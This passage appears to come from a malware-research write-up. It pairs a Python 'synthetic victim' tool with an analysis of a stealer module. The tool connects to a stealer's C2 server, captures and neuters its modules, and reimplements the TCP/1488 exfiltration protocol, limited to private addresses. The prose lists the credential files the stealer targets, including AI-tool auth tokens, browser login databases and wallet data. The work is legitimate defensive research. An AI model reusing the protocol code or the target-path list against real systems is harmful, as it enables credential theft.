def _need(self, n):
while len(self.buf) < n:
chunk = self.sock.recv(4096)
if not chunk: raise ConnectionError("peer closed")
self.buf.extend(chunk)
def read_frame(self, timeout=1.0):
self.sock.settimeout(timeout)
try: self._need(2)
except socket.timeout: return None
b0, b1 = self.buf[0], self.buf[1]; fin = bool(b0 & 0x80); opcode = b0 & 0x0F; masked = bool(b1 & 0x80); ln = b1 & 0x7F; pos = 2
if ln == 126: self._need(pos + 2); ln = struct.unpack(">H", self.buf[pos:pos+2])[0]; pos += 2
elif ln == 127: self._need(pos + 8); ln = struct.unpack(">Q", self.buf[pos:pos+8])[0]; pos += 8
mask = b""
if masked: self._need(pos + 4); mask = bytes(self.buf[pos:pos+4]); pos += 4
self._need(pos + ln); payload = bytearray(self.buf[pos:pos+ln]); del self.buf[:pos+ln]
if masked:
for i in range(ln): payload[i] ^= mask[i % 4]
return fin, opcode, bytes(payload)
def read_message(self, timeout=1.0):
while True:
fr = self.read_frame(timeout)
if fr is None: return None
fin, opcode, payload = fr
if opcode in (WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG): return opcode, payload
if opcode in (WS_OP_TEXT, WS_OP_BINARY):
if fin: return opcode, payload
self.frag_opcode = opcode; self.frag_payload = bytearray(payload); continue
if opcode == WS_OP_CONT and self.frag_opcode is not None:
self.frag_payload.extend(payload)
if fin:
op, data = self.frag_opcode, bytes(self.frag_payload); self.frag_opcode = None; self.frag_payload.clear(); return op, data
def websocket_handshake(sock, host, port, log, user_agent):
host_header = host if port == 80 else f"{host}:{port}"
request = (f"GET / HTTP/1.1\r\nHost: {host_header}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {WS_KEY}\r\nSec-WebSocket-Version: 13\r\nUser-Agent: {user_agent}\r\n\r\n").encode("ascii")
sock.sendall(request); sock.settimeout(15); resp = bytearray()
while b"\r\n\r\n" not in resp:
chunk = sock.recv(4096)
if not chunk: raise ConnectionError("peer closed before WebSocket handshake completed")
resp.extend(chunk)
if len(resp) > MAX_HTTP_HEADER: raise ValueError("WebSocket handshake header exceeded safety limit")
head, leftover = bytes(resp).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n"); status = lines[0] if lines else ""; headers = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
log.event("HANDSHAKE", f"Control channel response: {status}", module="c2-406")
if "101" not in status: raise ConnectionError(f"server did not return HTTP 101: {status}")
expected = base64.b64encode(hashlib.sha1((WS_KEY + WS_GUID).encode("ascii")).digest()).decode("ascii")
actual = headers.get("sec-websocket-accept", "")
if actual and actual != expected: raise ConnectionError(f"unexpected Sec-WebSocket-Accept: {actual!r}")
return leftover
# ---------------------------------------------------------------------------
# Module 3: task-triggered TCP/408 module collector
# ---------------------------------------------------------------------------
@dataclass(frozen=True)
class ModuleTask:
task_type: str
task_id: str = ""
version: str = "unknown"
param: str = ""
raw: str = ""
def parse_createtask(text):
parts = [x.strip() for x in text.strip().split(";")]
if len(parts) < 3: return None
if parts[0].lower() == "task" and parts[1].lower() == "createtask": i = 2
elif parts[0].lower() == "createtask": i = 1
else: return None
task_type = ""; fields = {"task_id": "", "version": "unknown", "param": ""}
if i < len(parts) and parts[i].lower() not in {"task_id", "version", "param", "type"}: task_type = parts[i]; i += 1
while i < len(parts):
key = parts[i].lower()
if key == "type" and i + 1 < len(parts): task_type = parts[i+1]; i += 2
elif key in fields and i + 1 < len(parts): fields[key] = parts[i+1]; i += 2
else: i += 1
if not task_type: return None
return ModuleTask(task_type, fields["task_id"], fields["version"] or "unknown", fields["param"], text)
def minimal_pe_meta(raw):
meta = {"pe_like": False}
if len(raw) < 0x40 or raw[:2] != b"MZ": return meta
try: e = struct.unpack_from("<I", raw, 0x3C)[0]
except struct.error: return meta
meta["e_lfanew"] = e
if e < 0x40 or e + 26 > len(raw) or raw[e:e+4] != b"PE\x00\x00": return meta
machine, sections, ts = struct.unpack_from("<HHI", raw, e+4); opt_size = struct.unpack_from("<H", raw, e+20)[0]; magic = struct.unpack_from("<H", raw, e+24)[0]
meta.update(pe_like=True, machine=f"0x{machine:04x}", number_of_sections=sections, coff_timestamp=ts, optional_header_size=opt_size, optional_magic=f"0x{magic:04x}")
opt = e + 24
if magic in (0x10B, 0x20B) and opt + 0x3C <= len(raw):
meta["entrypoint_rva"] = f"0x{struct.unpack_from('<I', raw, opt+0x10)[0]:x}"; meta["size_of_image"] = struct.unpack_from("<I", raw, opt+0x38)[0]
return meta
def neuter_pe(raw, pe_meta):
patches = []; e = pe_meta.get("e_lfanew")
if len(raw) >= 2: raw[:2] = b"NZ"; patches.append("MZ signature changed to NZ")
if isinstance(e, int) and 0 <= e <= len(raw)-4:
raw[e:e+4] = b"\x00"*4; patches.append("PE signature zeroed")
if e+6 <= len(raw): raw[e+4:e+6] = b"\x00"*2; patches.append("COFF Machine zeroed")
if e+26 <= len(raw): raw[e+24:e+26] = b"\x00"*2; patches.append("Optional Header magic zeroed")
if len(raw) >= 0x40: raw[0x3C:0x40] = b"\x00"*4; patches.append("e_lfanew zeroed")
return patches
def fetch_task_module_http(host, port, task_type, checkin_id, timeout, max_bytes, log):
if not safe_component(task_type): raise ValueError("task type contains unsafe characters")
if not safe_component(checkin_id, 32): raise ValueError("check-in ID contains unsafe characters")
req = (f"GET /task/{task_type} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {checkin_id}\r\nConnection: close\r\n\r\n").encode("ascii")
log.event("MODULE-GET", f"GET {host}:{port}/task/{task_type} User-Agent={checkin_id}", module="c2-408")
with socket.create_connection((host, port), timeout=timeout) as sk:
sk.settimeout(timeout); sk.sendall(req); buf = bytearray()
while b"\r\n\r\n" not in buf:
chunk = sk.recv(4096)
if not chunk: break
buf.extend(chunk)
if len(buf) > MAX_HTTP_HEADER: raise ValueError("HTTP response header exceeded safety limit")
if b"\r\n\r\n" not in buf: raise ValueError("incomplete HTTP response")
head, first = bytes(buf).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n")
try: status = int(lines[0].split()[1])
except (IndexError, ValueError): raise ValueError(f"invalid HTTP status line: {lines[0]!r}")
headers = {}
for line in lines[1:]:
if ":" in line:
k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip()
if status != 200: raise ValueError(f"module endpoint returned HTTP {status}")
body = bytearray(first); expected = None
if "content-length" in headers:
expected = int(headers["content-length"])
if expected <= 0 or expected > max_bytes: raise ValueError(f"Content-Length outside safety limit: {expected}")
while True:
if len(body) > max_bytes: raise ValueError(f"module exceeded maximum allowed size ({max_bytes} bytes)")
if expected is not None and len(body) >= expected: del body[expected:]; break
chunk = sk.recv(min(65536, max_bytes + 1 - len(body)))
if not chunk: break
body.extend(chunk)
if expected is not None and len(body) != expected: raise ValueError(f"short HTTP body: {len(body)}/{expected}")
if not body: raise ValueError("empty module body")
return headers, body
class ModuleCaptureManager:
def __init__(self, args, log): self.args, self.log, self.seen = args, log, set()
def capture(self, task, profile):
allowed = self.args.capture_type or ["Stealer"]
if task.task_type.lower() not in {x.lower() for x in allowed}:
self.log.event("MODULE-SKIP", f"Task type {task.task_type!r} is not in allowlist {allowed}", module="c2-408"); return
key = (profile.checkin_id.lower(), task.task_type.lower(), task.version.lower(), task.task_id.lower())
if key in self.seen: self.log.event("MODULE-SKIP", "Duplicate module task already processed", module="c2-408"); return
self.seen.add(key); raw = None
try:
host = self.args.task_host or self.args.c2_host
headers, raw = fetch_task_module_http(host, self.args.task_port, task.task_type, profile.checkin_id, self.args.task_timeout, self.args.max_module_bytes, self.log)
orig_size, orig_sha, pe = len(raw), sha256_bytes(raw), minimal_pe_meta(raw)
if not pe.get("pe_like"):
self.log.event("MODULE-SAFE", f"408 returned {orig_size} bytes sha256={orig_sha}, but body is not a valid PE; nothing written", module="c2-408"); return
patches = neuter_pe(raw, pe); qsha = sha256_bytes(raw); outdir = Path(self.args.capture_dir); outdir.mkdir(parents=True, exist_ok=True)
try: os.chmod(outdir, 0o700)
except OSError: pass
ver = task.version if safe_component(task.version, 32) else "unknown"; tid = task.task_id if safe_component(task.task_id, 64) else "noid"; ttype = task.task_type if safe_component(task.task_type) else "module"
base = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_synthetic_{ttype}_{ver}_{tid}_{orig_sha[:12]}"
dp, mp = outdir/(base+".quarantine.bin"), outdir/(base+".metadata.json")
fd = os.open(dp, os.O_WRONLY|os.O_CREAT|os.O_EXCL, 0o600)
with os.fdopen(fd, "wb") as fp: fp.write(raw); fp.flush()
read_only(dp)
rec = {"capture_time_utc": Logger.iso(), "task": asdict(task), "synthetic_checkin_id": profile.checkin_id, "control_channel": {"host": self.args.c2_host, "port": self.args.control_port}, "task_channel": {"host": host, "port": self.args.task_port, "path": f"/task/{task.task_type}", "user_agent": profile.checkin_id, "response_headers": headers}, "original_in_memory_only": {"size": orig_size, "sha256": orig_sha, "pe": pe}, "quarantine": {"file": dp.name, "sha256": qsha, "patches": patches, "original_header_bytes_preserved": False}, "safety": "Original PE bytes were never written to disk; executable-identifying fields were destroyed before disk I/O."}
with open(mp, "x", encoding="utf-8") as fp: json.dump(rec, fp, ensure_ascii=False, indent=2)
read_only(mp)
self.log.event("MODULE", f"Captured and neutered {task.task_type} {ver}: {dp} original_size={orig_size} original_sha256={orig_sha}", module="c2-408")
except Exception as exc:
self.log.event("MODULE-ERR", f"Module collection failed: {exc}", module="c2-408", task=asdict(task))
finally:
if raw is not None:
for i in range(len(raw)): raw[i] = 0
def classify_control_message(text):
t = text.strip().lower()
if t.startswith("ping"): return "PING"
if t.startswith("pong"): return "PONG"
if t.startswith("getinfo"): return "GETINFO"
if t.startswith("checkserver"): return "CHECKSERVER"
if t.startswith("task;") or t.startswith("createtask"): return "TASK"
if t.startswith("closetask"): return "CLOSETASK"
if t.startswith("update"): return "UPDATE"
if t.startswith("task_done;"): return "TASK_DONE"
return "UNCLASSIFIED"
def run_honeypot(args, profile, log):
checkin, info = profile.checkin_message(), profile.info_message()
log.event("PROFILE", f"Synthetic C2 victim: id={profile.checkin_id} user={profile.username} os={profile.os_version!r} av={profile.av_product!r}", module="c2-406", profile=asdict(profile))
if args.dry_run:
log.event("DRYRUN", f"Would connect to {args.c2_host}:{args.control_port}/WebSocket", module="c2-406")
log.event("DRYRUN", f"Would send: {checkin!r}", module="c2-406")
log.event("DRYRUN", f"Would answer getinfo with: {info!r}", module="c2-406")
if args.capture_modules: log.event("DRYRUN", f"Allowlisted createtask events would trigger TCP/408 retrieval from {args.task_host or args.c2_host}:{args.task_port}", module="c2-408")
return
manager = ModuleCaptureManager(args, log) if args.capture_modules else None; deadline = None if args.observe <= 0 else time.time() + args.observe
with socket.create_connection((args.c2_host, args.control_port), timeout=args.connect_timeout) as sock:
reader = WSReader(sock, websocket_handshake(sock, args.c2_host, args.control_port, log, args.c2_user_agent))
sock.sendall(ws_encode(checkin.encode())); log.event("SEND", f"Registered synthetic victim: {checkin!r}", module="c2-406")
while True:
if deadline is not None and time.time() >= deadline: log.event("INFO", f"Observation window ended after {args.observe:.1f} seconds", module="c2-406"); break
msg = reader.read_message(timeout=1.0)
if msg is None: continue
opcode, payload = msg
if opcode == WS_OP_CLOSE: log.event("RECV", "Server sent WebSocket CLOSE", module="c2-406"); break
if opcode == WS_OP_PING: sock.sendall(ws_encode(payload, opcode=WS_OP_PONG)); log.event("SEND", "Replied to WebSocket PING with PONG", module="c2-406"); continue
if opcode == WS_OP_PONG: log.event("RECV", "Received WebSocket PONG", module="c2-406"); continue
text = payload.decode("utf-8", errors="replace"); kind = classify_control_message(text)
log.event("RECV", f"C2 command [{kind}]: {text!r}", module="c2-406", command=text, classification=kind, raw_sha256=sha256_bytes(payload))
low = text.strip().lower()
if low.startswith("getinfo") and not args.no_getinfo_response:
sock.sendall(ws_encode(info.encode())); log.event("SEND", f"Sent synthetic victim information: {info!r}", module="c2-406")
elif low.startswith("ping"):
sock.sendall(ws_encode(b"pong")); log.event("SEND", "Sent application-layer pong", module="c2-406")
task = parse_createtask(text)
if task:
log.event("TASK", f"Observed createtask: type={task.task_type!r} id={task.task_id!r} version={task.version!r}", module="c2-406", task=asdict(task))
if manager: manager.capture(task, profile)
else: log.event("MODULE-OFF", f"Task {task.task_type!r} recorded; TCP/408 collection is disabled", module="c2-408")
# Intentionally: no task execution and no task_done response.
try: sock.sendall(ws_encode(b"", opcode=WS_OP_CLOSE))
except OSError: pass
# ---------------------------------------------------------------------------
# Module 4: controlled TCP/1488 Stealer exfiltration protocol lab
# ---------------------------------------------------------------------------
def resolve_controlled_target(host):
infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM); addrs = []
for info in infos:
addr = info[4][0]
if addr not in addrs: addrs.append(addr)
if not addrs: raise ValueError("target did not resolve")
bad = [a for a in addrs if not (ipaddress.ip_address(a).is_loopback or ipaddress.ip_address(a).is_private or ipaddress.ip_address(a).is_link_local)]
if bad: raise ValueError("1488 safety policy blocks public destinations. Use a loopback/private sinkhole or lab receiver. Rejected: " + ", ".join(bad))
return addrs
def safe_archive_name(name):
name = name.replace("\\", "/").strip(); p = PurePosixPath(name)
if not name or "\x00" in name or len(name) > 240 or p.is_absolute() or ".." in p.parts or ":" in name: raise ValueError(f"unsafe archive entry path: {name!r}")
return str(p)
def deterministic_synthetic_bytes(label, size):
if size < 0 or size > MAX_EXFIL_ENTRY: raise ValueError(f"synthetic entry size must be 0..{MAX_EXFIL_ENTRY}")
seed = hashlib.sha256(("GENESIS-LAB:" + label).encode()).digest(); return (seed * ((size + len(seed)-1)//len(seed)))[:size] if size else b""
def parse_synthetic_entries(text_specs, byte_specs):
entries = []
for spec in text_specs:
if "=" not in spec: raise ValueError(f"--entry requires NAME=TEXT, got {spec!r}")
name, text = spec.split("=", 1); name = safe_archive_name(name); data = text.encode()
if len(data) > MAX_EXFIL_ENTRY: raise ValueError(f"entry {name!r} is too large")
entries.append((name, data))
for spec in byte_specs:
if "=" not in spec: raise ValueError(f"--entry-bytes requires NAME=SIZE, got {spec!r}")
name, size_s = spec.rsplit("=", 1); name = safe_archive_name(name); entries.append((name, deterministic_synthetic_bytes(name, int(size_s, 0))))
if not entries:
entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true,"token":"SYNTHETIC_NOT_A_REAL_TOKEN"}\n'), ("Applications/Minecraft/launcher_accounts.json", b'{"lab":true,"account":"SYNTHETIC_ONLY"}\n'), ("LAB_README.txt", b"GENESIS-SU / REDHIVE 1488 PROTOCOL LAB - SYNTHETIC DATA ONLY\n")]
if len(entries) > MAX_EXFIL_ENTRIES: raise ValueError(f"too many entries (max {MAX_EXFIL_ENTRIES})")
if len({n for n,_ in entries}) != len(entries): raise ValueError("duplicate archive entry name")
return entries
def build_synthetic_zip(entries):
bio = io.BytesIO()
with zipfile.ZipFile(bio, "w", compression=zipfile.ZIP_DEFLATED) as zf:
for name, data in entries:
zi = zipfile.ZipInfo(safe_archive_name(name)); zi.date_time = (2026,1,1,0,0,0); zi.compress_type = zipfile.ZIP_DEFLATED; zi.external_attr = 0o100600 << 16; zf.writestr(zi, data)
blob = bio.getvalue()
if len(blob) > MAX_EXFIL_ARCHIVE: raise ValueError(f"archive exceeds {MAX_EXFIL_ARCHIVE} bytes")
return blob
def zip_manifest(blob):
with zipfile.ZipFile(io.BytesIO(blob), "r") as zf:
return [{"name": i.filename, "uncompressed_size": i.file_size, "compressed_size": i.compress_size, "crc32": f"{i.CRC:08x}"} for i in zf.infolist()]
def recv_exact(sock, n):
out = bytearray()
while len(out) < n:
chunk = sock.recv(n-len(out))
if not chunk: raise ConnectionError(f"peer closed after {len(out)}/{n} bytes")
out.extend(chunk)
return bytes(out)
def recv_line(sock, limit=128):
out = bytearray()
while len(out) < limit:
b = sock.recv(1)
if not b: raise ConnectionError("peer closed before newline")
out.extend(b)
if b == b"\n": return bytes(out)
raise ValueError("identity line exceeded limit")
def receive_auth(sock, mode, timeout):
sock.settimeout(timeout)
if mode == "malware":
data = sock.recv(0x100)
if AUTH_MARKER not in data: raise RuntimeError(f"single-recv auth check failed; received={data!r}")
return data
buf = bytearray(); deadline = time.monotonic() + timeout
while time.monotonic() < deadline and len(buf) < 4096:
try: chunk = sock.recv(0x100)
except socket.timeout: break
if not chunk: break
buf.extend(chunk)
if AUTH_MARKER in buf: return bytes(buf)
raise RuntimeError(f"auth marker not observed; received={bytes(buf)!r}")
def run_exfil_server(args, log):
resolve_controlled_target(args.bind)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv:
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); srv.bind((args.bind, args.exfil_port)); srv.listen(5)
log.event("LISTEN", f"1488 lab receiver listening on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
for txn in range(1, args.transactions+1):
conn, peer = srv.accept()
with conn:
conn.settimeout(args.exfil_timeout); ident = recv_line(conn); text = ident.decode("ascii", errors="replace").rstrip("\n")
log.event("EXFIL-ID", f"Transaction {txn}: identity={text!r} from {peer[0]}", module="c2-1488-lab")
if not re.fullmatch(r"stealer;[0-9A-Fa-f]{1,16}", text): raise ValueError(f"unexpected identity line: {text!r}")
if args.auth_split and 0 < args.auth_split < len(AUTH_MARKER): conn.sendall(AUTH_MARKER[:args.auth_split]); time.sleep(args.auth_delay); conn.sendall(AUTH_MARKER[args.auth_split:])
else: conn.sendall(AUTH_MARKER)
declared = struct.unpack(">Q", recv_exact(conn, 8))[0]
if declared > args.max_archive: raise ValueError(f"declared archive length {declared} exceeds limit")
archive = recv_exact(conn, declared); manifest = zip_manifest(archive)
log.event("EXFIL-ZIP", f"Transaction {txn}: synthetic ZIP bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(manifest)}", module="c2-1488-lab", entries=manifest)
def run_exfil_client(args, profile, log):
resolve_controlled_target(args.exfil_host); entries = parse_synthetic_entries(args.entry, args.entry_bytes); batches = [entries] if args.layout == "batch" else [[e] for e in entries]
for idx, batch in enumerate(batches, 1):
archive = build_synthetic_zip(batch); ident = f"stealer;{profile.checkin_id}\n".encode("ascii"); wire_len = struct.pack(">Q", len(archive))
if args.dry_run:
log.event("DRYRUN", f"1488 transaction {idx}: target={args.exfil_host}:{args.exfil_port} identity={ident!r} archive_bytes={len(archive)} length_wire={wire_len.hex()}", module="c2-1488-lab", manifest=zip_manifest(archive)); continue
with socket.create_connection((args.exfil_host, args.exfil_port), timeout=args.exfil_timeout) as sock:
sock.settimeout(args.exfil_timeout); sock.sendall(ident); ack = receive_auth(sock, args.ack_mode, args.exfil_timeout); sock.sendall(wire_len); sock.sendall(archive)
try: sock.shutdown(socket.SHUT_WR)
except OSError: pass
log.event("EXFIL", f"Sent synthetic 1488 transaction {idx}: bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(batch)}", module="c2-1488-lab", ack_hex=ack.hex(), length_wire_hex=wire_len.hex(), entries=zip_manifest(archive))
def run_exfil_selftest(log):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener.bind(("127.0.0.1", 0)); listener.listen(1); port = listener.getsockname()[1]; result = {}
def srv():
try:
conn,_ = listener.accept()
with conn:
result["identity"] = recv_line(conn).decode().rstrip(); conn.sendall(AUTH_MARKER); n = struct.unpack(">Q", recv_exact(conn,8))[0]; body = recv_exact(conn,n); result["length"] = n; result["sha256"] = sha256_bytes(body); result["manifest"] = zip_manifest(body)
finally: listener.close()
t = threading.Thread(target=srv, daemon=True); t.start(); entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true}\n'), ("Applications/Minecraft/test.txt", b"SYNTHETIC\n")]; archive = build_synthetic_zip(entries)
with socket.create_connection(("127.0.0.1", port), timeout=3) as sock:
sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 3); sock.sendall(struct.pack(">Q", len(archive))); sock.sendall(archive)
t.join(3)
assert result["length"] == len(archive) and result["sha256"] == sha256_bytes(archive) and [x["name"] for x in result["manifest"]] == [x[0] for x in entries]
# Reproduce fragmented auth weakness.
listener2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener2.bind(("127.0.0.1", 0)); listener2.listen(1); port2 = listener2.getsockname()[1]
def srv2():
try:
conn,_ = listener2.accept()
with conn: recv_line(conn); conn.sendall(b"aut"); time.sleep(0.15); conn.sendall(b"h_ok")
finally: listener2.close()
t2 = threading.Thread(target=srv2, daemon=True); t2.start(); failed = False
try:
with socket.create_connection(("127.0.0.1", port2), timeout=2) as sock: sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 1)
except RuntimeError: failed = True
t2.join(2); assert failed
log.event("SELFTEST", "1488 loopback protocol self-test passed", module="c2-1488-lab", batch_zip_single_transaction=True, archive_entry_names_preserved=True, length_field="8-byte big-endian ZIP byte count", fragmented_auth_breaks_single_recv=True, external_network_calls=0)
# ---------------------------------------------------------------------------
# CLI
# ---------------------------------------------------------------------------
def add_common(p):
p.add_argument("--logfile", default=None, help="append structured JSONL evidence")
p.add_argument("--dry-run", action="store_true", help="print intended actions without networking")
def add_profile(p):
p.add_argument("--hostname", default="", help="synthetic computer name")
p.add_argument("--user", default="", help="synthetic username")
p.add_argument("--os", dest="os_version", default="", help="synthetic Windows version")
p.add_argument("--av", default="", help="synthetic antivirus product")
p.add_argument("--id", default="", help="synthetic 8-hex check-in ID")
p.add_argument("--botid", default=CAMPAIGN_ID, help="observed campaign ID")
p.add_argument("--country", default="", help="synthetic two-letter country code")
def add_delivery(p):
p.add_argument("--delivery-base", default=DEFAULT_DELIVERY_BASE)
p.add_argument("--staging-ua", default=DEFAULT_STAGING_UA)
p.add_argument("--delivery-timeout", type=float, default=15.0)
p.add_argument("--screen-width", type=int, default=960)
p.add_argument("--screen-height", type=int, default=540)
p.add_argument("--insecure-tls", action="store_true", help="disable TLS certificate verification")
def add_c2(p):
p.add_argument("--c2-host", default=DEFAULT_C2_HOST)
p.add_argument("--control-port", type=int, default=DEFAULT_CONTROL_PORT)
p.add_argument("--observe", type=float, default=120.0, help="observation seconds; <=0 means no fixed deadline")
p.add_argument("--connect-timeout", type=float, default=15.0)
p.add_argument("--c2-user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64)")
p.add_argument("--no-getinfo-response", action="store_true")
p.add_argument("--capture-modules", action="store_true", help="enable task-triggered TCP/408 module collection")
p.add_argument("--task-host", default="", help="task host; defaults to --c2-host")
p.add_argument("--task-port", type=int, default=DEFAULT_TASK_PORT)
p.add_argument("--capture-type", action="append", default=None, metavar="TYPE", help="allowlisted module type; repeatable; default Stealer")
p.add_argument("--capture-dir", default="captured_modules")
p.add_argument("--task-timeout", type=float, default=12.0)
p.add_argument("--max-module-bytes", type=int, default=MAX_MODULE_BYTES)
def build_parser():
p = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="Genesis-SU synthetic victim research suite\n\nAll victim data is synthetic. Remote commands/responses are recorded only and never executed.")
sub = p.add_subparsers(dest="command", required=True)
x = sub.add_parser("delivery", help="synthetic delivery/staging callbacks and fake screenshot upload"); add_common(x); add_profile(x); add_delivery(x)
x = sub.add_parser("honeypot", help="register a synthetic victim on TCP/406; optionally collect allowlisted 408 modules"); add_common(x); add_profile(x); add_c2(x)
x = sub.add_parser("workflow", help="delivery -> TCP/406 -> optional task-triggered TCP/408 using one synthetic identity"); add_common(x); add_profile(x); add_delivery(x); add_c2(x)
x = sub.add_parser("exfil-server", help="controlled TCP/1488 laboratory receiver"); add_common(x); x.add_argument("--bind", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--transactions", type=int, default=1); x.add_argument("--auth-split", type=int, default=0); x.add_argument("--auth-delay", type=float, default=0.05); x.add_argument("--exfil-timeout", type=float, default=5.0); x.add_argument("--max-archive", type=int, default=MAX_EXFIL_ARCHIVE)
x = sub.add_parser("exfil-client", help="send a synthetic ZIP to a controlled/private TCP/1488 receiver"); add_common(x); add_profile(x); x.add_argument("--exfil-host", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--entry", action="append", default=[], metavar="NAME=TEXT"); x.add_argument("--entry-bytes", action="append", default=[], metavar="NAME=SIZE"); x.add_argument("--layout", choices=["batch","single"], default="batch"); x.add_argument("--ack-mode", choices=["malware","robust"], default="malware"); x.add_argument("--exfil-timeout", type=float, default=5.0)
x = sub.add_parser("exfil-selftest", help="run all TCP/1488 assertions on loopback only"); add_common(x)
return p
def validate(args):
for name in ("control_port", "task_port", "exfil_port"):
if hasattr(args, name) and not (1 <= getattr(args, name) <= 65535): raise SystemExit(f"--{name.replace('_','-')} must be 1..65535")
if hasattr(args, "max_module_bytes") and not (512 <= args.max_module_bytes <= MAX_MODULE_BYTES): raise SystemExit(f"--max-module-bytes must be 512..{MAX_MODULE_BYTES}")
if hasattr(args, "transactions") and not (1 <= args.transactions <= 64): raise SystemExit("--transactions must be 1..64")
if hasattr(args, "country") and args.country and not re.fullmatch(r"[A-Za-z]{2}", args.country): raise SystemExit("--country must be a two-letter code")
if hasattr(args, "id") and args.id and not re.fullmatch(r"[0-9A-Fa-f]{8}", args.id): raise SystemExit("--id must be exactly 8 hexadecimal characters")
def main():
args = build_parser().parse_args(); validate(args); log = Logger(args.logfile)
try:
if args.command == "delivery": delivery_cycle(args, build_profile(args), log)
elif args.command == "honeypot": run_honeypot(args, build_profile(args), log)
elif args.command == "workflow":
profile = build_profile(args); log.event("INFO", "Starting integrated workflow: delivery -> TCP/406" + (" -> task-triggered TCP/408" if args.capture_modules else ""), module="workflow"); delivery_cycle(args, profile, log); run_honeypot(args, profile, log)
elif args.command == "exfil-server":
if args.dry_run: resolve_controlled_target(args.bind); log.event("DRYRUN", f"Would listen on {args.bind}:{args.exfil_port}", module="c2-1488-lab")
else: run_exfil_server(args, log)
elif args.command == "exfil-client": run_exfil_client(args, build_profile(args), log)
elif args.command == "exfil-selftest": run_exfil_selftest(log)
return 0
except KeyboardInterrupt: log.event("STOP", "Interrupted by user"); return 130
except Exception as exc: log.event("ERROR", f"{type(exc).__name__}: {exc}"); return 1
finally: log.close()
if __name__ == "__main__":
raise SystemExit(main())
From product names to actual collection paths
The second module immediately looked different from the first. Its job was not to stay resident and wait for commands. It was packed with application-specific collection routines. The second module immediately looked different from the first. Its job was not to stay resident and wait for commands. It was packed with application-specific collection routines.
Following those routines beyond the product names led to concrete paths, file reads, database handling, key processing, and archive entries. Browsers were a major target, but the collection surface extended to messaging applications, Steam, game launchers, wallets and browser extensions, VPN and remote-access configuration, screenshots, clipboard contents, host information, and ordinary user files. That was the point where labels became capabilities.
The AI-tool branches were particularly relevant to my incident because several AI products had shown suspicious account activity afterward. The Stealer contained dedicated collectors for local Claude Code, Codex, and Gemini data under the current user's profile:
%USERPROFILE%\.claude\settings.json
%USERPROFILE%\.codex\auth.json
%USERPROFILE%\.codex\config.toml
%USERPROFILE%\.gemini\oauth_creds.json
%USERPROFILE%\.gemini\google_accounts.json
The code built those paths, checked the files, read available content, and handed it to the archive logic under application-specific locations such as Applications/Ai/Codex/ and Applications/Ai/Gemini/. The Claude branch was narrower, targeting settings.json, while Codex and Gemini went directly after authentication- and account-related files. In other words, this build did not have to rely entirely on browser cookies to obtain useful AI-tool state. That was a much better fit for the incident than my earlier, generic explanation of “probably browser sessions.” It suggested that AI development tools had become first-class collection targets in their own right.
The browser collectors followed familiar Chromium and Firefox artifacts. Chromium-related paths included Cookies, Login Data, Login Data For Account, Web Data, and Local State, with separate handling for key material. Firefox used its own path and NSS-related processing. The separation between databases and keys mattered. A stolen Login Data database was not automatically a file full of plaintext passwords, but it could still be valuable when the matching key material was available. Likewise, copied cookies and session state could be more immediately useful than a password.
The implementation was not immaculate. Some SQLite copies could miss recent WAL-backed records, parts of the app-bound-key parsing were fairly brittle, and several error paths made the Stealer less reliable than its target list suggested. Those weaknesses mostly affected completeness. They did not change the basic fact that the malware knew where the data lived and attempted to collect it. Messaging and gaming applications fit the same pattern. Telegram had dedicated handling for desktop and web-session material. Steam had token- and cookie-related paths. Discord covered browser and desktop data, including encrypted token material and its corresponding key handling.
The MinecraftGrab branch targeted launcher and client account configuration associated with software such as Intent, Lunar, TLauncher, Feather, and Meteor. The interesting target was not somebody's carefully constructed castle. It was the account state around the launcher.
Wallets and browser extensions were another large target class, joined by VPN clients, FileZilla, AnyDesk, Ngrok, OBS-related data, screenshots, clipboard contents, host information, and a general sweep for common documents and images. The pattern was consistent: find predictable local state, collect what is available, and place it into the same result archive.
Seen together, Stealer was almost too simple a name. There was no single act of “stealing credentials.” There were many smaller collection decisions—copy a database, recover a key, preserve a session, read a configuration file, take a screenshot, or add an ordinary document to the archive.
What the Stealer was built to collect
Before following the data out of the module, it was useful to stop and look at the collection picture as a whole. By this point the Stealer no longer looked like a browser-password grabber with a few extra features. It was a broad collector for reusable access, local application state, and whatever other material might be worth taking from an infected workstation.
| Area | Examples identified in the captured module | What the collector was looking for |
|---|---|---|
| AI development tools | Claude Code, Codex, Gemini | Local settings, authentication files, account metadata, and configuration |
| Browsers | Chromium-family profiles and Firefox | Cookies, login databases, web data, browser state, and the key material needed to work with protected records |
| Messaging and social apps | Telegram, Discord | Desktop and web sessions, tokens, and related encryption material |
| Gaming and launchers | Steam, Minecraft launchers and clients, other game-platform state | Tokens, cookies, launcher identities, and reusable account configuration |
| Wallets and browser extensions | Desktop wallets, crypto extensions, MFA and password-manager extensions | Locally accessible wallet or extension data that could represent credentials, keys, or account access |
| VPN, remote access, and transfer tools | VPN clients, AnyDesk, FileZilla, Ngrok | Configuration and connection material that could expose another route into the victim's environment |
